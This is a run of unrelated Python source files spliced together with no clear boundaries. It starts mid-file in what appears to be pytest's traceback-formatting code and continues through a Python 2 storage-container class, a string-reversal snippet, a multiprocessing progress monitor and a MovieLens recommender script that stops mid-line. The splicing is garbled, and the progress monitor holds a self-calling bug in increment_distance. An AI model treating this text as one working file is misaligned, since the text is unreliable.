Union[Path, str]: """Path to the source code.""" return self.frame.code.path @property def locals(self) -> Dict[str, Any]: """Locals of underlying frame.""" return self.frame.f_locals def getfirstlinesource(self) -> int: return self.frame.code.firstlineno def getsource(self, astcache=None) -> Optional["Source"]: """Return failing source code.""" # we use the passed in astcache to not reparse asttrees # within exception info printing source = self.frame.code.fullsource if source is None: return None key = astnode = None if astcache is not None: key = self.frame.code.path if key is not None: astnode = astcache.get(key, None) start = self.getfirstlinesource() try: astnode, _, end = getstatementrange_ast( self.lineno, source, astnode=astnode ) except SyntaxError: end = self.lineno + 1 else: if key is not None: astcache[key] = astnode return source[start:end] source = property(getsource) def ishidden(self) -> bool: """Return True if the current frame has a var __tracebackhide__ resolving to True. If __tracebackhide__ is a callable, it gets called with the ExceptionInfo instance and can decide whether to hide the traceback. Mostly for internal use. """ tbh: Union[ bool, Callable[[Optional[ExceptionInfo[BaseException]]], bool] ] = False for maybe_ns_dct in (self.frame.f_locals, self.frame.f_globals): # in normal cases, f_locals and f_globals are dictionaries # however via `exec(...)` / `eval(...)` they can be other types # (even incorrect types!). # as such, we suppress all exceptions while accessing __tracebackhide__ try: tbh = maybe_ns_dct["__tracebackhide__"] except Exception: pass else: break if tbh and callable(tbh): return tbh(None if self._excinfo is None else self._excinfo()) return tbh def __str__(self) -> str: name = self.frame.code.name try: line = str(self.statement).lstrip() except KeyboardInterrupt: raise except BaseException: line = "???" # This output does not quite match Python's repr for traceback entries, # but changing it to do so would break certain plugins. See # https://github.com/pytest-dev/pytest/pull/7535/ for details. return " File %r:%d in %s\n %s\n" % ( str(self.path), self.lineno + 1, name, line, ) @property def name(self) -> str: """co_name of underlying code.""" return self.frame.code.raw.co_name class Traceback(List[TracebackEntry]): """Traceback objects encapsulate and offer higher level access to Traceback entries.""" def __init__( self, tb: Union[TracebackType, Iterable[TracebackEntry]], excinfo: Optional["ReferenceType[ExceptionInfo[BaseException]]"] = None, ) -> None: """Initialize from given python traceback object and ExceptionInfo.""" self._excinfo = excinfo if isinstance(tb, TracebackType): def f(cur: TracebackType) -> Iterable[TracebackEntry]: cur_: Optional[TracebackType] = cur while cur_ is not None: yield TracebackEntry(cur_, excinfo=excinfo) cur_ = cur_.tb_next super().__init__(f(tb)) else: super().__init__(tb) def cut( self, path: Optional[Union[Path, str]] = None, lineno: Optional[int] = None, firstlineno: Optional[int] = None, excludepath: Optional[Path] = None, ) -> "Traceback": """Return a Traceback instance wrapping part of this Traceback. By providing any combination of path, lineno and firstlineno, the first frame to start the to-be-returned traceback is determined. This allows cutting the first part of a Traceback instance e.g. for formatting reasons (removing some uninteresting bits that deal with handling of the exception/traceback). """ for x in self: code = x.frame.code codepath = code.path if path is not None and codepath != path: continue if ( excludepath is not None and isinstance(codepath, Path) and excludepath in codepath.parents ): continue if lineno is not None and x.lineno != lineno: continue if firstlineno is not None and x.frame.code.firstlineno != firstlineno: continue return Traceback(x._rawentry, self._excinfo) return self @overload def __getitem__(self, key: int) -> TracebackEntry: ... @overload def __getitem__(self, key: slice) -> "Traceback": ... def __getitem__(self, key: Union[int, slice]) -> Union[TracebackEntry, "Traceback"]: if isinstance(key, slice): return self.__class__(super().__getitem__(key)) else: return super().__getitem__(key) def filter( self, fn: Callable[[TracebackEntry], bool] = lambda x: not x.ishidden() ) -> "Traceback": """Return a Traceback instance with certain items removed fn is a function that gets a single argument, a TracebackEntry instance, and should return True when the item should be added to the Traceback, False when not. By default this removes all the TracebackEntries which are hidden (see ishidden() above). """ return Traceback(filter(fn, self), self._excinfo) def getcrashentry(self) -> TracebackEntry: """Return last non-hidden traceback entry that lead to the exception of a traceback.""" for i in range(-1, -len(self) - 1, -1): entry = self[i] if not entry.ishidden(): return entry return self[-1] def recursionindex(self) -> Optional[int]: """Return the index of the frame/TracebackEntry where recursion originates if appropriate, None if no recursion occurred.""" cache: Dict[Tuple[Any, int, int], List[Dict[str, Any]]] = {} for i, entry in enumerate(self): # id for the code.raw is needed to work around # the strange metaprogramming in the decorator lib from pypi # which generates code objects that have hash/value equality # XXX needs a test key = entry.frame.code.path, id(entry.frame.code.raw), entry.lineno # print "checking for recursion at", key values = cache.setdefault(key, []) if values: f = entry.frame loc = f.f_locals for otherloc in values: if otherloc == loc: return i values.append(entry.frame.f_locals) return None E = TypeVar("E", bound=BaseException, covariant=True) @final @attr.s(repr=False, init=False) class ExceptionInfo(Generic[E]): """Wraps sys.exc_info() objects and offers help for navigating the traceback.""" _assert_start_repr = "AssertionError('assert " _excinfo = attr.ib(type=Optional[Tuple[Type["E"], "E", TracebackType]]) _striptext = attr.ib(type=str) _traceback = attr.ib(type=Optional[Traceback]) def __init__( self, excinfo: Optional[Tuple[Type["E"], "E", TracebackType]], striptext: str = "", traceback: Optional[Traceback] = None, *, _ispytest: bool = False, ) -> None: check_ispytest(_ispytest) self._excinfo = excinfo self._striptext = striptext self._traceback = traceback @classmethod def from_exc_info( cls, exc_info: Tuple[Type[E], E, TracebackType], exprinfo: Optional[str] = None, ) -> "ExceptionInfo[E]": """Return an ExceptionInfo for an existing exc_info tuple. .. warning:: Experimental API :param exprinfo: A text string helping to determine if we should strip ``AssertionError`` from the output. Defaults to the exception message/``__str__()``. """ _striptext = "" if exprinfo is None and isinstance(exc_info[1], AssertionError): exprinfo = getattr(exc_info[1], "msg", None) if exprinfo is None: exprinfo = saferepr(exc_info[1]) if exprinfo and exprinfo.startswith(cls._assert_start_repr): _striptext = "AssertionError: " return cls(exc_info, _striptext, _ispytest=True) @classmethod def from_current( cls, exprinfo: Optional[str] = None ) -> "ExceptionInfo[BaseException]": """Return an ExceptionInfo matching the current traceback. .. warning:: Experimental API :param exprinfo: A text string helping to determine if we should strip ``AssertionError`` from the output. Defaults to the exception message/``__str__()``. """ tup = sys.exc_info() assert tup[0] is not None, "no current exception" assert tup[1] is not None, "no current exception" assert tup[2] is not None, "no current exception" exc_info = (tup[0], tup[1], tup[2]) return ExceptionInfo.from_exc_info(exc_info, exprinfo) @classmethod def for_later(cls) -> "ExceptionInfo[E]": """Return an unfilled ExceptionInfo.""" return cls(None, _ispytest=True) def fill_unfilled(self, exc_info: Tuple[Type[E], E, TracebackType]) -> None: """Fill an unfilled ExceptionInfo created with ``for_later()``.""" assert self._excinfo is None, "ExceptionInfo was already filled" self._excinfo = exc_info @property def type(self) -> Type[E]: """The exception class.""" assert ( self._excinfo is not None ), ".type can only be used after the context manager exits" return self._excinfo[0] @property def value(self) -> E: """The exception value.""" assert ( self._excinfo is not None ), ".value can only be used after the context manager exits" return self._excinfo[1] @property def tb(self) -> TracebackType: """The exception raw traceback.""" assert ( self._excinfo is not None ), ".tb can only be used after the context manager exits" return self._excinfo[2] @property def typename(self) -> str: """The type name of the exception.""" assert ( self._excinfo is not None ), ".typename can only be used after the context manager exits" return self.type.__name__ @property def traceback(self) -> Traceback: """The traceback.""" if self._traceback is None: self._traceback = Traceback(self.tb, excinfo=ref(self)) return self._traceback @traceback.setter def traceback(self, value: Traceback) -> None: self._traceback = value def __repr__(self) -> str: if self._excinfo is None: return "" return "<{} {} tblen={}>".format( self.__class__.__name__, saferepr(self._excinfo[1]), len(self.traceback) ) def exconly(self, tryshort: bool = False) -> str: """Return the exception as a string. When 'tryshort' resolves to True, and the exception is an AssertionError, only the actual exception part of the exception representation is returned (so 'AssertionError: ' is removed from the beginning). """ lines = format_exception_only(self.type, self.value) text = "".join(lines) text = text.rstrip() if tryshort: if text.startswith(self._striptext): text = text[len(self._striptext) :] return text def errisinstance( self, exc: Union[Type[BaseException], Tuple[Type[BaseException], ...]] ) -> bool: """Return True if the exception is an instance of exc. Consider using ``isinstance(excinfo.value, exc)`` instead. """ return isinstance(self.value, exc) def _getreprcrash(self) -> "ReprFileLocation": exconly = self.exconly(tryshort=True) entry = self.traceback.getcrashentry() path, lineno = entry.frame.code.raw.co_filename, entry.lineno return ReprFileLocation(path, lineno + 1, exconly) def getrepr( self, showlocals: bool = False, style: "_TracebackStyle" = "long", abspath: bool = False, tbfilter: bool = True, funcargs: bool = False, truncate_locals: bool = True, chain: bool = True, ) -> Union["ReprExceptionInfo", "ExceptionChainRepr"]: """Return str()able representation of this exception info. :param bool showlocals: Show locals per traceback entry. Ignored if ``style=="native"``. :param str style: long|short|no|native|value traceback style. :param bool abspath: If paths should be changed to absolute or left unchanged. :param bool tbfilter: Hide entries that contain a local variable ``__tracebackhide__==True``. Ignored if ``style=="native"``. :param bool funcargs: Show fixtures ("funcargs" for legacy purposes) per traceback entry. :param bool truncate_locals: With ``showlocals==True``, make sure locals can be safely represented as strings. :param bool chain: If chained exceptions in Python 3 should be shown. .. versionchanged:: 3.9 Added the ``chain`` parameter. """ if style == "native": return ReprExceptionInfo( ReprTracebackNative( traceback.format_exception( self.type, self.value, self.traceback[0]._rawentry ) ), self._getreprcrash(), ) fmt = FormattedExcinfo( showlocals=showlocals, style=style, abspath=abspath, tbfilter=tbfilter, funcargs=funcargs, truncate_locals=truncate_locals, chain=chain, ) return fmt.repr_excinfo(self) def match(self, regexp: Union[str, Pattern[str]]) -> "Literal[True]": """Check whether the regular expression `regexp` matches the string representation of the exception using :func:`python:re.search`. If it matches `True` is returned, otherwise an `AssertionError` is raised. """ __tracebackhide__ = True msg = "Regex pattern {!r} does not match {!r}." if regexp == str(self.value): msg += " Did you mean to `re.escape()` the regex?" assert re.search(regexp, str(self.value)), msg.format(regexp, str(self.value)) # Return True to allow for "assert excinfo.match()". return True @attr.s class FormattedExcinfo: """Presenting information about failing Functions and Generators.""" # for traceback entries flow_marker = ">" fail_marker = "E" showlocals = attr.ib(type=bool, default=False) style = attr.ib(type="_TracebackStyle", default="long") abspath = attr.ib(type=bool, default=True) tbfilter = attr.ib(type=bool, default=True) funcargs = attr.ib(type=bool, default=False) truncate_locals = attr.ib(type=bool, default=True) chain = attr.ib(type=bool, default=True) astcache = attr.ib(default=attr.Factory(dict), init=False, repr=False) def _getindent(self, source: "Source") -> int: # Figure out indent for the given source. try: s = str(source.getstatement(len(source) - 1)) except KeyboardInterrupt: raise except BaseException: try: s = str(source[-1]) except KeyboardInterrupt: raise except BaseException: return 0 return 4 + (len(s) - len(s.lstrip())) def _getentrysource(self, entry: TracebackEntry) -> Optional["Source"]: source = entry.getsource(self.astcache) if source is not None: source = source.deindent() return source def repr_args(self, entry: TracebackEntry) -> Optional["ReprFuncArgs"]: if self.funcargs: args = [] for argname, argvalue in entry.frame.getargs(var=True): args.append((argname, saferepr(argvalue))) return ReprFuncArgs(args) return None def get_source( self, source: Optional["Source"], line_index: int = -1, excinfo: Optional[ExceptionInfo[BaseException]] = None, short: bool = False, ) -> List[str]: """Return formatted and marked up source lines.""" lines = [] if source is not None and line_index < 0: line_index += len(source.lines) if source is None or line_index >= len(source.lines) or line_index < 0: source = Source("???") line_index = 0 space_prefix = " " if short: lines.append(space_prefix + source.lines[line_index].strip()) else: for line in source.lines[:line_index]: lines.append(space_prefix + line) lines.append(self.flow_marker + " " + source.lines[line_index]) for line in source.lines[line_index + 1 :]: lines.append(space_prefix + line) if excinfo is not None: indent = 4 if short else self._getindent(source) lines.extend(self.get_exconly(excinfo, indent=indent, markall=True)) return lines def get_exconly( self, excinfo: ExceptionInfo[BaseException], indent: int = 4, markall: bool = False, ) -> List[str]: lines = [] indentstr = " " * indent # Get the real exception information out. exlines = excinfo.exconly(tryshort=True).split("\n") failindent = self.fail_marker + indentstr[1:] for line in exlines: lines.append(failindent + line) if not markall: failindent = indentstr return lines def repr_locals(self, locals: Mapping[str, object]) -> Optional["ReprLocals"]: if self.showlocals: lines = [] keys = [loc for loc in locals if loc[0] != "@"] keys.sort() for name in keys: value = locals[name] if name == "__builtins__": lines.append("__builtins__ = ") else: # This formatting could all be handled by the # _repr() function, which is only reprlib.Repr in # disguise, so is very configurable. if self.truncate_locals: str_repr = saferepr(value) else: str_repr = safeformat(value) # if len(str_repr) < 70 or not isinstance(value, (list, tuple, dict)): lines.append(f"{name:<10} = {str_repr}") # else: # self._line("%-10s =\\" % (name,)) # # XXX # pprint.pprint(value, stream=self.excinfowriter) return ReprLocals(lines) return None def repr_traceback_entry( self, entry: TracebackEntry, excinfo: Optional[ExceptionInfo[BaseException]] = None, ) -> "ReprEntry": lines: List[str] = [] style = entry._repr_style if entry._repr_style is not None else self.style if style in ("short", "long"): source = self._getentrysource(entry) if source is None: source = Source("???") line_index = 0 else: line_index = entry.lineno - entry.getfirstlinesource() short = style == "short" reprargs = self.repr_args(entry) if not short else None s = self.get_source(source, line_index, excinfo, short=short) lines.extend(s) if short: message = "in %s" % (entry.name) else: message = excinfo and excinfo.typename or "" entry_path = entry.path path = self._makepath(entry_path) reprfileloc = ReprFileLocation(path, entry.lineno + 1, message) localsrepr = self.repr_locals(entry.locals) return ReprEntry(lines, reprargs, localsrepr, reprfileloc, style) elif style == "value": if excinfo: lines.extend(str(excinfo.value).split("\n")) return ReprEntry(lines, None, None, None, style) else: if excinfo: lines.extend(self.get_exconly(excinfo, indent=4)) return ReprEntry(lines, None, None, None, style) def _makepath(self, path: Union[Path, str]) -> str: if not self.abspath and isinstance(path, Path): try: np = bestrelpath(Path.cwd(), path) except OSError: return str(path) if len(np) < len(str(path)): return np return str(path) def repr_traceback(self, excinfo: ExceptionInfo[BaseException]) -> "ReprTraceback": traceback = excinfo.traceback if self.tbfilter: traceback = traceback.filter() if isinstance(excinfo.value, RecursionError): traceback, extraline = self._truncate_recursive_traceback(traceback) else: extraline = None last = traceback[-1] entries = [] if self.style == "value": reprentry = self.repr_traceback_entry(last, excinfo) entries.append(reprentry) return ReprTraceback(entries, None, style=self.style) for index, entry in enumerate(traceback): einfo = (last == entry) and excinfo or None reprentry = self.repr_traceback_entry(entry, einfo) entries.append(reprentry) return ReprTraceback(entries, extraline, style=self.style) def _truncate_recursive_traceback( self, traceback: Traceback ) -> Tuple[Traceback, Optional[str]]: """Truncate the given recursive traceback trying to find the starting point of the recursion. The detection is done by going through each traceback entry and finding the point in which the locals of the frame are equal to the locals of a previous frame (see ``recursionindex()``). Handle the situation where the recursion process might raise an exception (for example comparing numpy arrays using equality raises a TypeError), in which case we do our best to warn the user of the error and show a limited traceback. """ try: recursionindex = traceback.recursionindex() except Exception as e: max_frames = 10 extraline: Optional[str] = ( "!!! Recursion error detected, but an error occurred locating the origin of recursion.\n" " The following exception happened when comparing locals in the stack frame:\n" " {exc_type}: {exc_msg}\n" " Displaying first and last {max_frames} stack frames out of {total}." ).format( exc_type=type(e).__name__, exc_msg=str(e), max_frames=max_frames, total=len(traceback), ) # Type ignored because adding two instaces of a List subtype # currently incorrectly has type List instead of the subtype. traceback = traceback[:max_frames] + traceback[-max_frames:] # type: ignore else: if recursionindex is not None: extraline = "!!! Recursion detected (same locals & position)" traceback = traceback[: recursionindex + 1] else: extraline = None return traceback, extraline def repr_excinfo( self, excinfo: ExceptionInfo[BaseException] ) -> "ExceptionChainRepr": repr_chain: List[ Tuple[ReprTraceback, Optional[ReprFileLocation], Optional[str]] ] = [] e: Optional[BaseException] = excinfo.value excinfo_: Optional[ExceptionInfo[BaseException]] = excinfo descr = None seen: Set[int] = set() while e is not None and id(e) not in seen: seen.add(id(e)) if excinfo_: reprtraceback = self.repr_traceback(excinfo_) reprcrash: Optional[ReprFileLocation] = ( excinfo_._getreprcrash() if self.style != "value" else None ) else: # Fallback to native repr if the exception doesn't have a traceback: # ExceptionInfo objects require a full traceback to work. reprtraceback = ReprTracebackNative( traceback.format_exception(type(e), e, None) ) reprcrash = None repr_chain += [(reprtraceback, reprcrash, descr)] if e.__cause__ is not None and self.chain: e = e.__cause__ excinfo_ = ( ExceptionInfo.from_exc_info((type(e), e, e.__traceback__)) if e.__traceback__ else None ) descr = "The above exception was the direct cause of the following exception:" elif ( e.__context__ is not None and not e.__suppress_context__ and self.chain ): e = e.__context__ excinfo_ = ( ExceptionInfo.from_exc_info((type(e), e, e.__traceback__)) if e.__traceback__ else None ) descr = "During handling of the above exception, another exception occurred:" else: e = None repr_chain.reverse() return ExceptionChainRepr(repr_chain) @attr.s(eq=False) class TerminalRepr: def __str__(self) -> str: # FYI this is called from pytest-xdist's serialization of exception # information. io = StringIO() tw = TerminalWriter(file=io) self.toterminal(tw) return io.getvalue().strip() def __repr__(self) -> str: return f"<{self.__class__} instance at {id(self):0x}>" def toterminal(self, tw: TerminalWriter) -> None: raise NotImplementedError() # This class is abstract -- only subclasses are instantiated. @attr.s(eq=False) class ExceptionRepr(TerminalRepr): # Provided by subclasses. reprcrash: Optional["ReprFileLocation"] reprtraceback: "ReprTraceback" def __attrs_post_init__(self) -> None: self.sections: List[Tuple[str, str, str]] = [] def addsection(self, name: str, content: str, sep: str = "-") -> None: self.sections.append((name, content, sep)) def toterminal(self, tw: TerminalWriter) -> None: for name, content, sep in self.sections: tw.sep(sep, name) tw.line(content) @attr.s(eq=False) class ExceptionChainRepr(ExceptionRepr): chain = attr.ib( type=Sequence[ Tuple["ReprTraceback", Optional["ReprFileLocation"], Optional[str]] ] ) def __attrs_post_init__(self) -> None: super().__attrs_post_init__() # reprcrash and reprtraceback of the outermost (the newest) exception # in the chain. self.reprtraceback = self.chain[-1][0] self.reprcrash = self.chain[-1][1] def toterminal(self, tw: TerminalWriter) -> None: for element in self.chain: element[0].toterminal(tw) if element[2] is not None: tw.line("") tw.line(element[2], yellow=True) super().toterminal(tw) @attr.s(eq=False) class ReprExceptionInfo(ExceptionRepr): reprtraceback = attr.ib(type="ReprTraceback") reprcrash = attr.ib(type="ReprFileLocation") def toterminal(self, tw: TerminalWriter) -> None: self.reprtraceback.toterminal(tw) super().toterminal(tw) @attr.s(eq=False) class ReprTraceback(TerminalRepr): reprentries = attr.ib(type=Sequence[Union["ReprEntry", "ReprEntryNative"]]) extraline = attr.ib(type=Optional[str]) style = attr.ib(type="_TracebackStyle") entrysep = "_ " def toterminal(self, tw: TerminalWriter) -> None: # The entries might have different styles. for i, entry in enumerate(self.reprentries): if entry.style == "long": tw.line("") entry.toterminal(tw) if i < len(self.reprentries) - 1: next_entry = self.reprentries[i + 1] if ( entry.style == "long" or entry.style == "short" and next_entry.style == "long" ): tw.sep(self.entrysep) if self.extraline: tw.line(self.extraline) class ReprTracebackNative(ReprTraceback): def __init__(self, tblines: Sequence[str]) -> None: self.style = "native" self.reprentries = [ReprEntryNative(tblines)] self.extraline = None @attr.s(eq=False) class ReprEntryNative(TerminalRepr): lines = attr.ib(type=Sequence[str]) style: "_TracebackStyle" = "native" def toterminal(self, tw: TerminalWriter) -> None: tw.write("".join(self.lines)) @attr.s(eq=False) class ReprEntry(TerminalRepr): lines = attr.ib(type=Sequence[str]) reprfuncargs = attr.ib(type=Optional["ReprFuncArgs"]) reprlocals = attr.ib(type=Optional["ReprLocals"]) reprfileloc = attr.ib(type=Optional["ReprFileLocation"]) style = attr.ib(type="_TracebackStyle") def _write_entry_lines(self, tw: TerminalWriter) -> None: """Write the source code portions of a list of traceback entries with syntax highlighting. Usually entries are lines like these: " x = 1" "> assert x == 2" "E assert 1 == 2" This function takes care of rendering the "source" portions of it (the lines without the "E" prefix) using syntax highlighting, taking care to not highlighting the ">" character, as doing so might break line continuations. """ if not self.lines: return # separate indents and source lines that are not failures: we want to # highlight the code but not the indentation, which may contain markers # such as "> assert 0" fail_marker = f"{FormattedExcinfo.fail_marker} " indent_size = len(fail_marker) indents: List[str] = [] source_lines: List[str] = [] failure_lines: List[str] = [] for index, line in enumerate(self.lines): is_failure_line = line.startswith(fail_marker) if is_failure_line: # from this point on all lines are considered part of the failure failure_lines.extend(self.lines[index:]) break else: if self.style == "value": source_lines.append(line) else: indents.append(line[:indent_size]) source_lines.append(line[indent_size:]) tw._write_source(source_lines, indents) # failure lines are always completely red and bold for line in failure_lines: tw.line(line, bold=True, red=True) def toterminal(self, tw: TerminalWriter) -> None: if self.style == "short": assert self.reprfileloc is not None self.reprfileloc.toterminal(tw) self._write_entry_lines(tw) if self.reprlocals: self.reprlocals.toterminal(tw, indent=" " * 8) return if self.reprfuncargs: self.reprfuncargs.toterminal(tw) self._write_entry_lines(tw) if self.reprlocals: tw.line("") self.reprlocals.toterminal(tw) if self.reprfileloc: if self.lines: tw.line("") self.reprfileloc.toterminal(tw) def __str__(self) -> str: return "{}\n{}\n{}".format( "\n".join(self.lines), self.reprlocals, self.reprfileloc ) @attr.s(eq=False) class ReprFileLocation(TerminalRepr): path = attr.ib(type=str, converter=str) lineno = attr.ib(type=int) message = attr.ib(type=str) def toterminal(self, tw: TerminalWriter) -> None: # Filename and lineno output for each entry, using an output format # that most editors understand. msg = self.message i = msg.find("\n") if i != -1: msg = msg[:i] tw.write(self.path, bold=True, red=True) tw.line(f":{self.lineno}: {msg}") @attr.s(eq=False) class ReprLocals(TerminalRepr): lines = attr.ib(type=Sequence[str]) def toterminal(self, tw: TerminalWriter, indent="") -> None: for line in self.lines: tw.line(indent + line) @attr.s(eq=False) class ReprFuncArgs(TerminalRepr): args = attr.ib(type=Sequence[Tuple[str, object]]) def toterminal(self, tw: TerminalWriter) -> None: if self.args: linesofar = "" for name, value in self.args: ns = f"{name} = {value}" if len(ns) + len(linesofar) + 2 > tw.fullwidth: if linesofar: tw.line(linesofar) linesofar = ns else: if linesofar: linesofar += ", " + ns else: linesofar = ns if linesofar: tw.line(linesofar) tw.line("") def getfslineno(obj: object) -> Tuple[Union[str, Path], int]: """Return source location (path, lineno) for the given object. If the source cannot be determined return ("", -1). The line number is 0-based. """ # xxx let decorators etc specify a sane ordering # NOTE: this used to be done in _pytest.compat.getfslineno, initially added # in 6ec13a2b9. It ("place_as") appears to be something very custom. obj = get_real_func(obj) if hasattr(obj, "place_as"): obj = obj.place_as # type: ignore[attr-defined] try: code = Code.from_function(obj) except TypeError: try: fn = inspect.getsourcefile(obj) or inspect.getfile(obj) # type: ignore[arg-type] except TypeError: return "", -1 fspath = fn and absolutepath(fn) or "" lineno = -1 if fspath: try: _, lineno = findsource(obj) except OSError: pass return fspath, lineno return code.path, code.firstlineno # Relative paths that we use to filter traceback entries from appearing to the user; # see filter_traceback. # note: if we need to add more paths than what we have now we should probably use a list # for better maintenance. _PLUGGY_DIR = Path(pluggy.__file__.rstrip("oc")) # pluggy is either a package or a single module depending on the version if _PLUGGY_DIR.name == "__init__.py": _PLUGGY_DIR = _PLUGGY_DIR.parent _PYTEST_DIR = Path(_pytest.__file__).parent _PY_DIR = Path(__import__("py").__file__).parent def filter_traceback(entry: TracebackEntry) -> bool: """Return True if a TracebackEntry instance should be included in tracebacks. We hide traceback entries of: * dynamically generated code (no code to show up for it); * internal traceback from pytest or its internal libraries, py and pluggy. """ # entry.path might sometimes return a str object when the entry # points to dynamically generated code. # See https://bitbucket.org/pytest-dev/py/issues/71. raw_filename = entry.frame.code.raw.co_filename is_generated = "<" in raw_filename and ">" in raw_filename if is_generated: return False # entry.path might point to a non-existing file, in which case it will # also return a str object. See #1133. p = Path(entry.path) parents = p.parents if _PLUGGY_DIR in parents: return False if _PYTEST_DIR in parents: return False if _PY_DIR in parents: return False return True 10-100 CLIENTS = 0 TEAM = 1 solution/v3/model/StorageContainer.py class StorageContainer: type = "storage container" def __init__(self, inst): self.instance = inst @property def name(self): return self.instance['name'] @property def uuid(self): return self.instance['storage_container_uuid'] @property def id(self): return self.instance['id'] @property def cluster_uuid(self): return self.instance['cluster_uuid'] @property def rf(self): return self.instance['replication_factor'] def show(self): print "type: " + self.type print "name: " + self.name print "uuid: " + self.uuid print "id: " + self.id print "cluster_uuid: " + self.cluster_uuid print "rf: " + str(self.rf) print ' ' snippets/recursion/reverse_string.py def reverse(string): # base case: string is empty if string == "": return "" else: return string[-1] + reverse(string[:-1]) print(reverse("hello")) print(reverse("Alessandra"))""" Created by: Created on: 05.04.2020 """ from multiprocessing import Value from custom_exceptions import NegativeDistanceException from utils import round_progress class ProgressMonitor: """Prints progress while working on legs from different processes. ProgressMonitor prints progress after approximately every 5% of the total legs have been processed. The data is shared between multiple processes. The class itself takes care of concurrency of the data. """ def __init__(self, total_legs, total_distance, leg_number=0, distance=0): """Initializes object, with 0 values. Leg number and distance are in shared memory. :param total_legs: int, total number of legs in the race :param total_distance: float, total distance in the race :param leg_number: int, number of last processed leg :param distance: float, distance so far after last processed leg """ self.leg_number = Value('i', leg_number) self.distance = Value('f', distance) self.total_legs = total_legs self.total_distance = total_distance self.last_print_progress = Value('i', -1) # Don't allow legs or distance to be 0 or it will try to divide by 0. if total_legs < 1 or total_distance < 1: raise NegativeDistanceException def increment_legs(self): """Increment processed legs by 1.""" self.increment_legs_and_distance(1, 0) def increment_distance(self, additional_distance_traveled): """Increments processed distance. :param additional_distance_traveled: float, distance traveled in this leg """ self.increment_distance(0, additional_distance_traveled) def increment_legs_and_distance(self, additional_legs=1, additional_distance=0, print_progress=True): """Increases both distance and leg count and also prints progress every 5%. :param additional_legs: int, number of legs processed in last step :param additional_distance: float, distance traveled in last step :param print_progress: boolean, """ if additional_legs < 0 or additional_distance < 0: raise NegativeDistanceException with self.leg_number.get_lock(): self.leg_number.value += additional_legs with self.distance.get_lock(): self.distance.value += additional_distance if print_progress: self.print_progress() def print_progress(self, force_print=False): """Prints progress every 5%. Prints progress every 5%. If the numbers don't align correctly it will print it first time it rounds to multiply of 5. If force_print is used the method will print the result regardless of it being multiply of 5 or not. :param force_print: boolean, prints progress even if not dividable by 5 """ with self.leg_number.get_lock(), self.distance.get_lock(), self.last_print_progress.get_lock(): progress = round_progress(self.leg_number.value / self.total_legs * 100) distance_progress = self.distance.value / self.total_distance * 100 if self.last_print_progress.value != progress: # Only print approximately every 5% self.last_print_progress.value = progress print("Completed %3i%% of the legs, %0.1f%% by distance traveled" % (progress, distance_progress)) elif force_print: print("Completed %3i%% of the legs, %0.1f%% by distance traveled" % (progress, distance_progress)) OmerAhmedKhan/recommendationSystemGraphScripts/cf.py import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.model_selection import train_test_split from sklearn.metrics.pairwise import cosine_similarity from sklearn.metrics import mean_squared_error import argparse from surprise import KNNBaseline from surprise import SVD, accuracy from surprise import Reader, Dataset, KNNBasic, evaluate from sklearn.neighbors import KNeighborsClassifier from surprise.model_selection import cross_validate #Dataset loading and spliting u_cols = ['user_id', 'age', 'sex', 'occupation', 'zip_code'] users = pd.read_csv('u.user', sep='|', names=u_cols, encoding='latin-1') i_cols = ['movie_id', 'title' ,'release date','video release date', 'IMDb URL', 'unknown', 'Action', 'Adventure', 'Animation', 'Children\'s', 'Comedy', 'Crime', 'Documentary', 'Drama', 'Fantasy', 'Film-Noir', 'Horror', 'Musical', 'Mystery', 'Romance', 'Sci-Fi', 'Thriller', 'War', 'Western'] movies = pd.read_csv('u.item', sep='|', names=i_cols, encoding='latin-1') r_cols = ['user_id', 'movie_id', 'rating', 'timestamp'] ratings = pd.read_csv('u.data', sep='\t', names=r_cols, encoding='latin-1') ratings = ratings.drop('timestamp', axis=1) #Create train and test datasets X = ratings.copy() y = ratings['user_id'] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, stratify=y, random_state=42) # Function that computes the root mean squared error (or RMSE) def rmse(y_true, y_pred): return np.sqrt(mean_squared_error(y_true, y_pred)) def baseline(user_id, movie_id): return 2.5 # Function to compute the RMSE score obtained on the testing set by a model def score(cf_model): # Construct a list of user-movie tuples from the testing dataset id_pairs = zip(X_test['user_id'], X_test['movie_id']) # Predict the rating for every user-movie tuple y_pred = np.array([cf_model(user, movie) for (user, movie) in id_pairs]) # Extract the actual ratings given by the users in the test data y_true = np.array(X_test['rating']) # Return the final RMSE score return rmse(y_true, y_pred) baseline_score=score(baseline) print("print the score for CF baseline ", baseline_score) # Build the ratings matrix using pivot table function r_matrix = X_train.pivot_table(values='rating', index='user_id', columns='movie_id') # Each user is a row and each column is a movie # print("r matrix: \n", r_matrix.head()) #Mean Ratings def cf_user_mean(user_id, movie_id): if movie_id in r_matrix: mean_rating = r_matrix[movie_id].mean() else: mean_rating = 2.5 return mean_rating cf_user_mean_score = score(cf_user_mean) print("print the score for CF mean", cf_user_mean_score) # #### Implementation of Weighted Mean #### # ratings by user u to movie m by using cosine score as our similarity function r_matrix_dummy = r_matrix.copy().fillna(0) cosine_sim = cosine_similarity(r_matrix_dummy, r_matrix_dummy) cosine_sim = pd.DataFrame(cosine_sim, index=r_matrix.index, columns=r_matrix.index) # print("cosine sim ", cosine_sim.head()) def cf_user_wmean(user_id,movie_id): # check that the movie exist in r_max if movie_id in r_matrix: sim_scores = cosine_sim[user_id] # Get the similarity scores for the user in question with every other user sim_scores = cosine_sim[user_id] # Get the user ratings for the movie in question m_ratings = r_matrix[movie_id] # Extract the indices containing NaN in the m_ratings series idx = m_ratings[m_ratings.isnull()].index # Drop the NaN values from the m_ratings Series m_ratings = m_ratings.dropna() # Drop the corresponding cosine scores from the sim_scores series sim_scores = sim_scores.drop(idx) # Compute the final weighted mean wmean_rating = np.dot(sim_scores, m_ratings)/ sim_scores.sum() else: # Default to a rating of 3.0 in the absence of any information wmean_rating = 2.5 return wmean_rating cf_user_wmean_score = score(cf_user_wmean) print("print the score for CF weighted mean", score(cf_user_wmean)) #demographics merged_df = pd.merge(X_train, users) gender_mean = merged_df[['movie_id', 'sex', 'rating']].groupby(['movie_id', 'sex'])['rating'].mean() users = users.set_index('user_id') #__________________________________ #GENDER BASED CF def gcf(uid, mid): if mid in r_matrix: gen = users.loc[uid]['sex'] if gen in gender_mean[mid]: gender_rating = gender_mean[mid][gen] else: gender_rating = 2.5 else: gender_rating = 2.5 return gender_rating gcf_score = score(gcf) print("print the score for CF gender ", gcf_score) age_mean = merged_df[['movie_id', 'age', 'rating']].groupby(['movie_id', 